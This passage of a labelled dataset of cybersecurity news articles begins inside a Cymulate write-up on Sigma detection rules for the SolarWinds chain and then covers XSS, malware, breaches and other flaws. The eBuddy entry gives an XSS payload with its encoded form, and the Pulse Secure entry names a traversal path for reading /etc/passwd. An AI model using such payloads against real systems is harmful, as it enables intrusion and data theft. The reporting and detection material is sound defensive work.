Below is an example of one possible Sigma rule for this specific step, which detects creating a file with one of the specified above names. But with a hash that is different from the original. Whether overriding a system file or creating a new path, it will still result in a 4663 Event ID (or Sysmon Event ID 11), and one of the names below will be found in the payload.
Working with System files also requires privileged access, so there inevitably will be privilege escalation, which is also documented as 4688 Event ID (file access) and Token Elevation Type of %%1936 or %%1937, which are types for system and administrator access respectively.
Below is a screenshot of the 4688 Event ID with relevant fields highlighted.
Optionally you could search for 4672 Event ID with any of the privilege escalation strings, but the event of privilege escalation can happen at any step in the attack. We recommend a separate rule for this, which should be correlated with the rule we are building.
Let's take a look at our rule at this stage:
(4663 + Access mask 0x1 or Sysmon 11)🡪 [(4698 + relevant IOB list) 🡪(4688+(TaskScheduler.dll or taskeng.exe)) 🡪 (4688 and rundll32) 🡪 (4663 or Sysmon 11 + generic list of system files) 🡪 (4688 and 1 of files in list and Token Elevation Type (%%1936 OR %%1937))]
The next step is ""Execute base64-encoded PowerShell from Windows Registry"". What happens here is an attacker executes an obfuscated code previously written into a registry value. As you could understand, before he can do this, he needs to create a new registry value or modify an existing one.
A Windows event ID 4657 and a value matching base64 pattern (which can be identified with regexes that we have already seen in a preceding step) can help identify this step. The event can include ""Existing registry value modified"" or ""Creating new registry value"" as the Operation Type. All the IOB's, as mentioned before, can be obtained from the supplied Sigma Rules.
This event can show you other valuable information, such as:
1) What key was involved.
The format is: \REGISTRY\HIVE\PATH where:
HIVE:
HKEY_LOCAL_MACHINE = \REGISTRY\MACHINE
HKEY_CURRENT_USER = \REGISTRY\USER\[USER_SID], where [USER_SID] is the SID of current user.
HKEY_CLASSES_ROOT = \REGISTRY\MACHINE\SOFTWARE\Classes
HKEY_USERS = \REGISTRY\USER
HKEY_CURRENT_CONFIG = \REGISTRY\MACHINE\SYSTEM\ControlSet001\Hardware Profiles\Current

2) What is the originating process.
3) What is the old value and the new value.
Below you can view a general representation of 4657 Event ID.
Taking into account possible timeframes, since the entire operation will probably be scripted, we can safely say that if successful, steps 2-6 will take no more than 5 seconds. The entire chain until execution of code stored in the registry could be no more than 10 minutes.
After adding those variables, what we have is a chain of events that can be correlated:
It will all originate on one machine.
It will be started as the same user.
The operational rule will look like the below:
{
(4663 + Access mask 0x1 or Sysmon 11)🡪
[ (4698 + relevant IOB list) 🡪
(4688+(TaskScheduler.dll or taskeng.exe)) 🡪
(4688 and rundll32) 🡪
(4663 or Sysmon 11 + generic list of system files) 🡪
(4688 and 1 of files in list and Token Elevation Type(%%1936 OR %%1937))🡪 (4657 +New value created OR existing value modified+ base64 matching pattern in value in time frame up to 5s)]
in time frame of 10 mins
}
So now, if you have built this SIEM or EDR rule, using Cymulate-provided Sigma rules, and you see an alert from it – there is a good chance you are experiencing the SolarWinds attack right now.
If you still have your doubt, you can always add some optional stages and enhance them even further by adding two next stages to the rule. These are Exchange Server Mailbox Export Cleanup and Exchange Exfiltration using basic HTTP Request, respectively.
Even though Windows doesn't have a built-in Event ID for HTTP/S requests, there will always be {4660 on mailbox🡪 (HTTP request + 4663 of filename.zip/rar/tar/other)}. In order to get an event of HTTP/S requests, additional systems, for example, a network traffic analysis system, can assist here.
Optimize your Security Operations with Cymulate and Sigma Rules
As you have seen in the breakdown of this particular attack, you can use IOB's in Sigma Rules. This will help your security operations to challenge, assess, measure, and optimize. This can easily be accomplished by the Cymulate platform in all areas. The steps as shown in this article are meant to help with the optimization and guide through how to prevent a SolarWinds type attack. As you have seen from the Cymulate platform, a scenario, whether it be simple, or complex can assist with optimizing your SIEM or EDR rules. This will enhance your organization's security against the most sophisticated threats with low effort.
Good Hunting to you!
And as they say in the Hunger Games, ""may the odds be ever in your favor.""
This article was written by Michael Ioffe, Senior Security Researcher at Cymulate.

",Cyber_Attack
Persistent XSS vulnerability in eBuddy Web Messenger,https://thehackernews.com/2011/09/persistent-xss-vulnerability-in-ebuddy.html,"Persistent XSS vulnerability in eBuddy Web Messenger


A team member from Virtual Luminous Security, Russian Federation, has discovered a persistent XSS vulnerability in eBuddy (the biggest web IM solution in the world) by transmitting messages with embedded encoded javascript code.
In-depth detail
eBuddy Web Messenger suffers from an encoded-Persistent XSS vulnerability in the messaging function. (while sendingA message with embedded code to another authorized user in eBuddy WebMessenger).

Exploit example
Plain XSS (Not going to store, nor execute)
<script>alert('eBuddy Persistent XSS');</script>
Encoded
text=%3Cscript%3Ealert%28'eBuddy%20Persistent%20XSS'%29%3C/script%3E
[*] The attacker sends the encoded embedded code in an IM message.
[*] The victim receives the message with the encoded embedded code and it executes on the victims browser.

",Vulnerability
"Apple Users, Beware! A Nearly-Undetectable Malware Targeting Mac Computers",https://thehackernews.com/2017/07/macos-malware-fruitfly.html,"Yes, even Mac could also get viruses that could silently spy on its users. So, if you own a Mac and think you are immune to malware, you are wrong.

An unusual piece of malware that can remotely take control of webcams, screen, mouse, keyboards, and install additional malicious software has been infecting hundreds of Mac computers for more than five years—and it was detected just a few months back.

Dubbed FruitFly, the Mac malware was initially detected earlier this year by Malwarebytes researcher Thomas Reed, and Apple quickly released security patches to address the dangerous malware.

Now months later, Patrick Wardle, an ex-NSA hacker and now chief security researcher at security firm Synack, discovered around 400 Mac computers infected with the newer strain of the FruitFly malware (FruitFly 2) in the wild.

Wardle believes the number of infected Macs with FruitFly 2 would likely be much higher, as he only had access to some servers used to control FruitFly.

Although it is unknown who is behind FruitFly or how the malware gets into Mac computers, the researchers believe the nasty malware has been active for around ten years, as some of its code dates back to as far as 1998.
""FruitFly, the first OS X/macOS malware of 2017, is a rather intriguing specimen. Selectively targeting biomedical research institutions, it is thought to have flown under the radar for many years,"" Wardle wrote in the abstract of his talk, which he is going to present at the Black Hat later this week.
Since the initial infection vector for FruitFly is unclear, like most malware, Fruitfly could likely infect Macs either through an infected website delivering the infection or via phishing emails or a booby-trapped application.

FruitFly is surveillance malware that's capable of executing shell commands, moving and clicking a mouse cursor, capturing webcam, killing processes, grabbing the system's uptime, retrieving screen captures, and even alerting the hacker when victims are again active on their Mac.
""The only reason I can think of that this malware has not been spotted before now is that it is being used in very tightly targeted attacks, limiting its exposure,"" Reed wrote in the January blog post.
""Although there is no evidence at this point linking this malware to a specific group, the fact that it has been seen specifically at biomedical research institutions certainly seems like it could be the result of exactly that kind of espionage.""
Wardle was able to uncover FruitFly victims after registering a backup command and control (C&C) server that was once used by the attacker. He then noticed around 400 Mac users infected with FruitFly started connecting to that server.

From there, the researcher was also able to see IP addresses of FruitFly infected victims, indicating 90 percent of victims were located in the United States.

Wardle was even able to see the name of victims' Macs as well, making it ""really easy to pretty accurately say who is getting infected,"" he told Forbes.

But rather than taking over those computers or spying on the victims, Wardle contacted law enforcement and handed over what he found to law enforcement agents, who are now investigating the matter.

Wardle believes surveillance was the primary purpose of FruitFly, though it is yet unclear whether it is government or other hacker groups.
""This did not look like cyber crime type behaviour; there were no ads, no keyloggers, or ransomware,"" Wardle said. ""Its features had looked like they were actions that would support interactivity—it had the ability to alert the attacker when users were active on the computer, it could simulate mouse clicks and keyboard events.""
Since the Fruitfly's code even includes Linux shell commands, the malware would work just fine on Linux operating system. So, it would not come as a surprise if a Linux variant of Fruitfly was in operation.

",Malware
This Flaw Could Have Allowed Hackers to Hack Any Instagram Account Within 10 Minutes,https://thehackernews.com/2019/07/hack-instagram-accounts.html,"Watch out! Facebook-owned photo-sharing service has recently patched a critical vulnerability that could have allowed hackers to compromise any Instagram account without requiring any interaction from the targeted users.

Instagram is growing quickly—and with the most popular social media network in the world after Facebook, the photo-sharing network absolutely dominates when it comes to user engagement and interactions.

Despite having advanced security mechanisms in place, bigger platforms like Facebook, Google, LinkedIn, and Instagram are not completely immune to hackers and contain severe vulnerabilities.

Some vulnerabilities have recently been patched, some are still under the process of being fixed, and many others most likely do exist, but haven't been found just yet.

Details of one such critical vulnerability in Instagram surfaced today on the Internet that could have allowed a remote attacker to reset the password for any Instagram account and take complete control over it.

Discovered and responsibly reported by Indian bug bounty hunter Laxman Muthiyah, the vulnerability resided in the password recovery mechanism implemented by the mobile version of Instagram.

The ""password reset"" or ""password recovery"" is a feature that allows users to regain access to their account on a website in case they forgot their password.
On Instagram, users have to confirm a six-digit secret passcode (that expires after 10 minutes) sent to their associated mobile number or email account in order to prove their identity.

That means, one out of a million combinations can unlock any Instagram account using brute force attack, but it is not as simple as it sounds, because Instagram has rate-limiting enabled to prevent such attacks.

However, Laxman found that this rate limiting can be bypassed by sending brute force requests from different IP addresses and leveraging race condition, sending concurrent requests to process multiple attempts simultaneously.

""Race hazard (concurrent requests) and IP rotation allowed me to bypass it. Otherwise, it wouldn't be possible. 10 minutes expiry time is the key to their rate limiting mechanism, that's why they didn't enforce permanent blocking of codes,"" Laxman told The Hacker News.

As shown in the above video demonstration, Laxman successfully demonstrated the vulnerability to hijack an Instagram account by quickly attempting 200,000 different passcode combinations (20% of all) without getting blocked.

""In a real attack scenario, the attacker needs 5000 IPs to hack an account. It sounds big, but that's actually easy if you use a cloud service provider like Amazon or Google. It would cost around 150 dollars to perform the complete attack of one million codes.""

Laxman has also released a proof-of-concept exploit for the vulnerability, which has now been patched by Instagram, and the company awarded Laxman with $30,000 reward as part of its bug bounty program.

To protect your accounts against several types of online attacks, as well to reduce your chances of being compromised where attackers directly target vulnerable applications, users are highly recommended to enable ""two-factor authentication,"" which could prevent hackers from accessing your accounts even if they somehow manage to steal your passwords.

",Vulnerability
DailyMotion Hacked — 85 Million User Accounts Stolen,https://thehackernews.com/2016/12/dailymotion-video-hacked.html,"Another day, another data breach.

This time a popular video sharing platform DailyMotion has allegedly been hacked and tens of millions of users information have been stolen.

Breach notification service LeakedSource announced the data breach on Monday after the company obtained 85.2 Million records from Dailymotion.

According to LeakedSource, the DailyMotion data breach appears to have taken place on October 20, 2016, which means it is possible that hackers have been circulating the data for over a month.

The stolen data consists of 85.2 Million unique email addresses and usernames and around 20 percent of the accounts (more than 18 Million users) had hashed passwords tied to them.

The passwords were protected using the Bcrypt hashing algorithm with ten rounds of rekeying, making it difficult for hackers to obtain user's actual password.

Bcrypt is a cryptographic algorithm that makes the hashing process so slow that it would literally take centuries to actual brute-force password of a user.

ZDNet received a sample of the stolen data and confirmed that the data came from the Dailymotion website, but representatives for Vivendi, the majority owner of Dailymotion did not yet respond to any comments.

If you are one of the 18 million DailyMotion users who had their hashed password leaked, you are advised to change your password on the entertainment website as well as on others where you have reused your password.

LeakedSource has added the DailyMotion stolen data to its search index, so you can check if your account has been affected.

Also use a good password manager to create complex passwords for different sites as well as remember them. We have listed some good password managers that could help you understand the importance of password manager and choose one according to your requirement.

",Data_Breaches
"Hackers Selling Unpatched Microsoft Windows Zero-Day Exploit for $90,000",https://thehackernews.com/2016/06/windows-zero-day-exploit.html,"How much a Windows zero-day exploit that affects all versions of Windows operating system costs on the black market?

It's $95,000, at least, for the one recently spotted by security researchers.

Researchers from Trustwave's SpiderLabs team have uncovered a zero-day exploit on Russian underground malware forum exploit.in, affecting all versions of Microsoft Windows OS from Windows 2000 all the way up to a fully patched version of Windows 10.

The zero-day exploit for the previously unknown vulnerability in ""every version"" of Windows is openly sold for $90,000 (over £62,000).

The security team originally discovered the zero-day exploit last month when the firm saw its ad on a Russian hacking forum for $95,000. However, the price has now been dropped to $90,000.

The zero-day vulnerability in question claims to be a Local Privilege Escalation (LPE) bug in Windows that offers admin access to run malicious code on a victim's PC and is less dangerous than Remote Code Execution flaws that allow attackers to compromise systems remotely.

In other words, the zero-day exploit by itself will not be able to compromise a system, but as Trustwave explained, would nonetheless be used in almost any scenario as ""a very much needed puzzle piece in the overall infection process.""

The seller, who goes by the name ""BuggiCorp,"" claims the flaw is located in the win32k.sys kernel driver, and exists through the way Windows handles objects ""with certain properties,"" saying:
""The exploit successfully escapes from ILL/appcontainer (LOW), bypassing (more precisely: doesn't get affected at all [by]) all existing protection mechanisms such as ASLR, DEP, SMEP, etc. [The zero-day exploit] relies solely on the KERNEL32 and USER32 libraries [DLLs].""
Additional zero-day exploit capabilities include the installation of a rootkit, use on a POS systems and steal credit card data, limited control over a web server and installation of malware on systems, according to Trustwave.
The author went to prove the authenticity of his claims by providing two videos of the exploit on YouTube, from which one can be viewed below.

Trustwave alerted Microsoft of the potential Windows exploit.
""Windows is the only platform with a customer commitment to investigate reported security issues, and proactively update impacted devices as soon as possible,"" Microsoft said in a statement. ""We recommend customers use Windows 10 and the Microsoft Edge browser for the best protection. Our standard policy is to provide solutions via our current Update Tuesday schedule.""

",Vulnerability
Researchers Find Additional Infrastructure Used By SolarWinds Hackers,https://thehackernews.com/2021/04/researchers-find-additional.html,"The sprawling SolarWinds cyberattack which came to light last December was known for its sophistication in the breadth of tactics used to infiltrate and persist in the target infrastructure, so much so that Microsoft went on to call the threat actor behind the campaign ""skillful and methodic operators who follow operations security (OpSec) best practices to minimize traces, stay under the radar, and avoid detection.""
As further proof of this, new research published today shows that the threat actor carefully planned each stage of the operation to ""avoid creating the type of patterns that make tracking them simple,"" thus deliberately making forensic analysis difficult.
By analyzing telemetry data associated with previously published indicators of compromise, RiskIQ said it identified an additional set of 18 servers with high confidence that likely communicated with the targeted, secondary Cobalt Strike payloads delivered via the TEARDROP and RAINDROP malware, representing a 56% jump in the attacker's known command-and-control footprint.
The ""hidden patterns"" were uncovered through an analysis of the SSL certificates used by the group.
The development comes a week after the U.S. intelligence agencies formally attributed the supply chain hack to the Russian Foreign Intelligence Service (SVR). The compromise of the SolarWinds software supply chain is said to have given APT29 (aka Cozy Bear or The Dukes) the ability to remotely spy or potentially disrupt more than 16,000 computer systems worldwide, according to the U.S. government.
The attacks are being tracked by the cybersecurity community under various monikers, including UNC2452 (FireEye), Nobelium (Microsoft), SolarStorm (Unit 42), StellarParticle (Crowdstrike), and Dark Halo (Volexity), citing differences in the tactics, techniques, and procedures (TTP) employed by the adversary with that of known attacker profiles, counting APT29.
""Researchers or products attuned to detecting known APT29 activity would fail to recognize the campaign as it was happening,"" said Kevin Livelli, RiskIQ's director of threat intelligence. ""They would have an equally hard time following the trail of the campaign once they discovered it, which is why we knew so little about the later stages of the SolarWinds campaign.""
Earlier this year, the Windows maker noted how the attackers went to great lengths to ensure that the initial backdoor (SUNBURST aka Solorigate) and the post-compromise implants (TEARDROP and RAINDROP) stayed separated as much as possible so as to hinder efforts to spot their malicious activity. This was done so that in the event the Cobalt Strike implants were discovered on victim networks; it wouldn't reveal the compromised SolarWinds binary and the supply chain attack that led to its deployment in the first place.
But according to RiskIQ, this is not the only step the APT29 actor took to cover its tracks, which included —
Purchasing domains via third-party resellers and at domain auctions under varying names, in an attempt to obscure ownership information and repurchasing expired domains hitherto owned by legitimate organizations over a span of several years.
Hosting the first-stage attack infrastructure (SUNBURST) entirely in the U.S., the second-stage (TEARDROP and RAINDROP) primarily within the U.S., and the third-stage (GOLDMAX aka SUNSHUTTLE) mainly in foreign countries.
Designing attack code such that no two pieces of malware deployed during successive stages of the infection chain looked alike, and
Engineering the first-stage SUNBURST backdoor to beacon to its command-and-control (C2) servers with random jitter after a two-week period, in a likely attempt to outlive the typical lifespan of event logging on most host-based Endpoint Detection and Response (EDR) platforms.
""Identifying a threat actor's attack infrastructure footprint typically involves correlating IPs and domains with known campaigns to detect patterns,"" Livelli said.
""However, our analysis shows the group took extensive measures to throw researchers off their trail,"" suggesting the threat actor took extensive measures to avoid creating such patterns.

",Cyber_Attack
Your Linux Machine Can Be Hacked Remotely With Just A Malicious DNS Response,https://thehackernews.com/2017/06/linux-buffer-overflow-code.html,"A critical vulnerability has been discovered in Systemd, the popular init system and service manager for Linux operating systems, that could allow remote attackers to potentially trigger a buffer overflow to execute malicious code on the targeted machines via a DNS response.

The vulnerability, designated as CVE-2017-9445, actually resides in the 'dns_packet_new' function of 'systemd-resolved,' a DNS response handler component that provides network name resolution to local applications.

According to an advisory published Tuesday, a specially crafted malicious DNS response can crash 'systemd-resolved' program remotely when the system tries to lookup for a hostname on an attacker-controlled DNS service.

Eventually, large DNS response overflows the buffer, allowing an attacker to overwrite the memory which leads to remote code execution.

This means the attackers can remotely run any malware on the targeted system or server via their evil DNS service.
""In systemd through 233, certain sizes passed to dns_packet_new in systemd-resolved can cause it to allocate a buffer that's too small,"" explains Chris Coulson, Ubuntu developer at Canonical.
""A malicious DNS server can exploit this by responding with a specially crafted TCP payload to trick systemd-resolved into allocating a buffer that's too small, and subsequently write arbitrary data beyond the end of it.""

This vulnerability has been present since Systemd version 223 introduced in June 2015 and is present in all the way up to, including Systemd version 233 launched in March this year.

Of course, systemd-resolved must be running on your system for it to be vulnerable.

The bug is present in Ubuntu versions 17.04 and version 16.10; Debian versions Stretch (aka Debian 9), Buster (aka 10) and Sid (aka Unstable); and various other Linux distributions that use Systemd.

Security patches have been rolled out to address the issue, so users and system administrators are strongly recommended to install them and update their Linux distros as soon as possible.

",Vulnerability
"NSA, FBI Reveal Hacking Methods Used by Russian Military Hackers",https://thehackernews.com/2021/07/nsa-fbi-reveal-hacking-methods-used-by.html,"An ongoing brute-force attack campaign targeting enterprise cloud environments has been spearheaded by the Russian military intelligence since mid-2019, according to a joint advisory published by intelligence agencies in the U.K. and U.S.
The National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and the U.K.'s National Cyber Security Centre (NCSC) formally attributed the incursions to the Russian General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS).
The threat actor is also tracked under various monikers, including APT28 (FireEye Mandiant), Fancy Bear (CrowdStrike), Sofacy (Kaspersky), STRONTIUM (Microsoft), and Iron Twilight (Secureworks).
APT28 has a track record of leveraging password spray and brute-force login attempts to plunder valid credentials that enable future surveillance or intrusion operations. In November 2020, Microsoft disclosed credential harvesting activities staged by the adversary aimed at companies involved in researching vaccines and treatments for COVID-19.
What's different this time around is the actor's reliance on software containers to scale its brute-force attacks.
""The campaign uses a Kubernetes cluster in brute force access attempts against the enterprise and cloud environments of government and private sector targets worldwide,"" CISA said. ""After obtaining credentials via brute force, the GTsSS uses a variety of known vulnerabilities for further network access via remote code execution and lateral movement.""
Some of the other security flaws exploited by APT28 to pivot inside the breached organizations and gain access to internal email servers include -
CVE-2020-0688 - Microsoft Exchange Validation Key Remote Code Execution Vulnerability
CVE-2020-17144 - Microsoft Exchange Remote Code Execution Vulnerability
The threat actor is also said to have utilized different evasion techniques in an attempt to disguise some components of their operations, including routing brute-force authentication attempts through Tor and commercial VPN services, such as CactusVPN, IPVanish, NordVPN, ProtonVPN, Surfshark, and WorldVPN.
The agencies said the attacks primarily focused on the U.S. and Europe, targeting government and military, defense contractors, energy companies, higher education, logistics companies, law firms, media companies, political consultants or political parties, and think tanks.
""Network managers should adopt and expand usage of multi-factor authentication to help counter the effectiveness of this capability,"" the advisory noted. ""Additional mitigations to ensure strong access controls include time-out and lock-out features, the mandatory use of strong passwords, implementation of a Zero Trust security model that uses additional attributes when determining access, and analytics to detect anomalous accesses.""

",Cyber_Attack
Hacker Earns 1.25 Million Free Frequent Flyer Miles On United Airlines,https://thehackernews.com/2015/07/frequent-flyer-miles-hacker.html,"What if you get 1 Million Frequent Flyer Miles for Free? Yes, 1 Million Air Miles…

…I think that would be enough for several first-class trips to Europe or up to 20 round-trips in the United States.

Two Computer Hackers have earned more than 1 Million frequent-flyer miles each from United Airlines for finding multiple security vulnerabilities in the Airline's website.

Back in May this year, Chicago-based 'United Airlines' launched a bug bounty program and invited security researchers and bug hunters to find and report security vulnerabilities in its websites, software, apps and web portals.

Jordan Wiens, a security researcher from Florida and one of two bounty winners, tweeted last week that he earned United Airlines' top reward of 1 Million Miles for finding a flaw that could have allowed a hacker to seize control of one of the airline's websites.

Wiens is not allowed to disclose the technical details regarding the vulnerabilities, but in an email Interview with The Hacker News, Jordan Wiens told that he earned total 1,250,000 Million Frequent Flyer Miles under United Airlines' Bug bounty program.
One Million Miles for reporting a serious Remote Code Execution (RCE) vulnerability in the United Airlines website.
Another 250,000 Frequent Flyer Miles for finding few more vulnerabilities in its website, including an information leakage bug.
Wiens has also confirmed The Hacker News that the flaws he reported to the Airlines were remotely exploitable.
The question here is -- ""Could any of these bugs let an attacker to steal users' data or has any ability to directly impact the flight system?""
To which, Wiens replied, ""Unfortunately I have no idea what I could have done with it because I didn't actually exercise the flaw and find out what restrictions might have been enabled server-side.""
United spokesman Luke Punzenberger said, ""We're confident that our systems are secure,"" and they have patched all the backdoors into their systems before hackers could find and exploit them.

In the Tech World, supporting and running a bug bounty program is a significant step forward for online security, and such initiatives will definitely cost the airlines less than hiring high-profile consultants.

",Vulnerability
Dirty COW — Critical Linux Kernel Flaw Being Exploited in the Wild,https://thehackernews.com/2016/10/linux-kernel-exploit.html,"A nine-year-old critical vulnerability has been discovered in virtually all versions of the Linux operating system and is actively being exploited in the wild.

Dubbed ""Dirty COW,"" the Linux kernel security flaw (CVE-2016-5195) is a mere privilege-escalation vulnerability, but researchers are taking it extremely seriously due to many reasons.

First, it's very easy to develop exploits that work reliably. Secondly, the Dirty COW flaw exists in a section of the Linux kernel, which is a part of virtually every distro of the open-source operating system, including RedHat, Debian, and Ubuntu, released for almost a decade.

And most importantly, the researchers have discovered attack code that indicates the Dirty COW vulnerability is being actively exploited in the wild.

Dirty COW potentially allows any installed malicious app to gain administrative (root-level) access to a device and completely hijack it within just 5 seconds.

Earlier this week, Linus Torvalds admitted that 11 years ago he first spotted this issue and also tried to fix it, but then he left it unpatched because at the time it was hard to trigger.

Why is the Flaw called Dirty COW?

The bug, marked as ""High"" priority, gets its name from the copy-on-write (COW) mechanism in the Linux kernel, which is so broken that any application or malicious program can tamper with read-only root-owned executable files and setuid executables.
""A race condition was found in the way the Linux kernel's memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings,"" reads the website dedicated to Dirty COW.
""An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system.""
The Dirty COW vulnerability has been present in the Linux kernel since version 2.6.22 in 2007, and is also believed to be present in Android, which is powered by the Linux kernel.

Patch Your Linux-powered Systems Immediately

According to the website, the Linux kernel has been patched, and major vendors such as RedHat, Ubuntu and Debian have already rolled out fixes for their respective Linux distributions.

Organizations and individuals have been urged to install a patch for their Linux-powered systems, phones and gadgets as soon as possible and risk falling victim in order to kill off the Linux kernel-level security flaw affecting nearly every distro of the open-source OS.

The vulnerability was discovered by security researcher Phil Oester, who fund at least one in-the-wild attack exploiting this particular vulnerability. He found the exploit using an HTTP packet capture.
The vulnerability disclosure followed the tradition of branding high-profile security vulnerabilities like Heartbleed, Poodle, FREAK, and GHOST.

The Dirty COW website states:
""It would have been fantastic to eschew this ridiculousness because we all make fun of branded vulnerabilities too, but this was not the right time to make that stand. So we created a website, an online shop, a Twitter account, and used a logo that a professional designer created.""
You can find more technical details about the Dirty COW vulnerability and exploit on the bug's official website, RedHat site, and GitHub page.

",Cyber_Attack
CISA Warns Patched Pulse Secure VPNs Could Still Expose Organizations to Hackers,https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html,"The United States Cybersecurity and Infrastructure Security Agency (CISA) yesterday issued a fresh advisory alerting organizations to change all their Active Directory credentials as a defense against cyberattacks trying to leverage a known remote code execution (RCE) vulnerability in Pulse Secure VPN servers—even if they have already patched it.

The warning comes three months after another CISA alert urging users and administrators to patch Pulse Secure VPN environments to thwart attacks exploiting the vulnerability.

""Threat actors who successfully exploited CVE-2019-11510 and stole a victim organization's credentials will still be able to access — and move laterally through — that organization's network after the organization has patched this vulnerability if the organization did not change those stolen credentials,"" CISA said.

CISA has also released a tool to help network administrators look for any indicators of compromise associated with the flaw.

A Remote Code Execution Flaw

Tracked as CVE-2019-11510, the pre-authentication arbitrary file read vulnerability could allow remote unauthenticated attackers to compromise vulnerable VPN servers and gain access to all active users and their plain-text credentials, and execute arbitrary commands.


The flaw stems from the fact that directory traversal is hard-coded to be allowed if a path contains ""dana/html5/acc,"" thus allowing an attacker to send specially crafted URLs to read sensitive files, such as ""/etc/passwd"" that contains information about each user on the system.

To address this issue, Pulse Secure released an out-of-band patch on April 24, 2019.



While on August 24, 2019, security intelligence firm Bad Packets was able to discover 14,528 unpatched Pulse Secure servers, a subsequent scan as of last month yielded 2,099 vulnerable endpoints, indicating that a vast majority of organizations have patched their VPN gateways.

Unpatched VPN Servers Become Lucrative Target

The fact that there are still over thousands of unpatched Pulse Secure VPN servers has made them a lucrative target for bad actors to distribute malware.

A report from ClearSky found Iranian state-sponsored hackers using CVE-2019-11510, among others, to penetrate and steal information from target IT and telecommunication companies across the world.

According to an NSA advisory from October 2019, the ""exploit code is freely available online via the Metasploit framework, as well as GitHub. Malicious cyber actors are actively using this exploit code.""

In a similar alert issued last year, the UK's National Cyber Security Centre (NCSC) warned that advanced threat groups are exploiting the vulnerability to target government, military, academic, business, and healthcare organizations.

More recently, Travelex, the foreign currency exchange and travel insurance firm, became a victim after cybercriminals planted Sodinokibi (REvil) ransomware on the company's networks via the Pulse Secure vulnerability. Although the ransomware operators demanded a ransom of $6 million (£4.6 million), a Wall Street Journal report last week said it paid $2.3 million in the form of 285 Bitcoin to resolve its problem.

In the face of ongoing attacks, it's recommended that organizations upgrade their Pulse Secure VPN, reset their credentials, and scan for unauthenticated log requests and exploit attempts.

CISA has also suggested removing any unapproved remote access programs and inspecting scheduled tasks for scripts or executables that may allow an attacker to connect to an environment.

For more steps to mitigate the flaw, head to NSA's advisory here.

",Vulnerability
Several Malicious Typosquatted Python Libraries Found On PyPI Repository,https://thehackernews.com/2021/07/several-malicious-typosquatted-python.html,"As many as eight Python packages that were downloaded more than 30,000 times have been removed from the PyPI portal for containing malicious code, once again highlighting how software package repositories are evolving into a popular target for supply chain attacks.
""Lack of moderation and automated security controls in public software repositories allow even inexperienced attackers to use them as a platform to spread malware, whether through typosquatting, dependency confusion, or simple social engineering attacks,"" JFrog researchers Andrey Polkovnichenko, Omer Kaspi, and Shachar Menashe said Thursday.
PyPI, short for Python Package Index, is the official third-party software repository for Python, with package manager utilities like pip relying on it as the default source for packages and their dependencies.
The Python packages in question, which were found to be obfuscated using Base64 encoding, are listed below -
pytagora (uploaded by leonora123)
pytagora2 (uploaded by leonora123)
noblesse (uploaded by xin1111)
genesisbot (uploaded by xin1111)
are (uploaded by xin1111)
suffer (uploaded by suffer)
noblesse2 (uploaded by suffer)
noblessev2 (uploaded by suffer)
The aforementioned packages could be abused to become an entry point for more sophisticated threats, enabling the attacker to execute remote code on the target machine, amass system information, plunder credit card information and passwords auto-saved in Chrome and Edge browsers, and even steal Discord authentication tokens to impersonate the victim.
PyPI is hardly alone among software package repositories that have emerged as a potential attack surface for intruders, with malicious packages uncovered in npm and RubyGems equipped with capabilities that could potentially disrupt a whole system or serve as a valuable jumping-off point for burrowing deeper into a victim's network.
Last month, Sonatype and Vdoo disclosed typosquatted packages in PyPi that were found to download and execute a payload shell script that, in turn, retrieved a third-party cryptominer such as T-Rex, ubqminer, or PhoenixMiner for mining Ethereum and Ubiq on victim systems.
""The continued discovery of malicious software packages in popular repositories like PyPI is an alarming trend that can lead to widespread supply chain attacks,"" said JFrog CTO Asaf Karas. ""The ability for attackers to use simple obfuscation techniques to introduce malware means developers have to be concerned and vigilant. This is a systemic threat, and it needs to be actively addressed on several layers, both by the maintainers of software repositories and by the developers.""
""On the developers' side, preventive measures such as verification of library signatures, and employing automated application security tools that scan for hints of suspicious code included in the project, should be an integral part of any CI/CD pipeline. Automated tools such as these can alert when malicious code paradigms are being used,"" Karas added.

",Malware
Anthem Data Breach — 6 Things You Need To Know,https://thehackernews.com/2015/02/anthem-data-breach.html,"The Nation's second largest Health insurer company, Anthem, alerted its customers on Wednesday that hackers had stolen the personal information of over 80 Millions of its customers, making it the largest data breach and double the number of payment cards affected by Target data breach occurred in 2013.

The stolen personal information includes residential addresses, birthdays, medical identification numbers, Social Security Numbers, email addresses and some income data belonging to both current and former customers and employees, including its own chief executive.

80 Million is a vast number — it's roughly the populations of California, Texas and Illinois when combined together. So far, there is no evidence whether financial or medical information of the company's customers was compromised, according to a statement given by Anthem's vice president, Kristin Binns.

The health giant, based in Indianapolis, has hired cybersecurity firm FireEye's Mandiant division to work out which customers. Despite these efforts, the company has not yet identified the attacker behind the massive Anthem data breach.

1. WHAT WENT WRONG ?
Now the question rises, What went wrong with the second largest health insurer company that it lead its 80 million customers expose to mega cyber hacks?

Anthem hack could be due to a vulnerability in the healthcare company, and security experts say the stolen information was vulnerable because Anthem did not take proper precautions, such as protecting the data in its computers and servers through encryption, in the same way it protected medical information that was sent or shared outside of the database.

A spokesperson from Anthem says they do not known who is behind the attack, but a number of security consultants have pointed that in the past Chinese hackers have shown their interest in targeting popular healthcare companies.

It is to be estimated that the malicious hackers may have infiltrated the Anthem's networks by making use of a sophisticated malicious software program that gave them access to the login credential of an Anthem employee, thereby breaching 80 million customers.

2. BEWARE!! E-MAIL SCAMS TARGETING ANTHEM CUSTOMERS
As soon as the story broke, cyber criminals started exploiting the latest Anthem data breach in an attempt to persuade people to sign up for bogus credit protection services and provide personal information about themselves.

The insurer company on Friday warned its customers about an e-mail scam targeting former and current customers whose personal information was suspected to have been stolen in the Anthem breach.

Anthem warned about the email scam in a statement saying that the emails appears to come from Anthem and ask recipients to click on the attached link in order to obtain credit monitoring. Do not click on such links and do not provide any information on any website, Anthem advised its customers.

Don't expect any email warnings from the company because the Anthem hack is much severe than what it appears. To avoid fallout from the hackers, Anthem said it will contact its customers only via mail delivered by the U.S. Postal Service. The company will not call members regarding the breach and will not ask for any credit card information or Social Security numbers over the phone or via an email.

3. THIS DATA BREACH COULD LEADS TO OTHER BREACHES
Anthem claimed that the hackers didn't appear to have stolen customers' medical information. However, medical identification numbers were taken, along with Social Security numbers, addresses and email addresses, which could be by cyber crooks used for medical fraud.

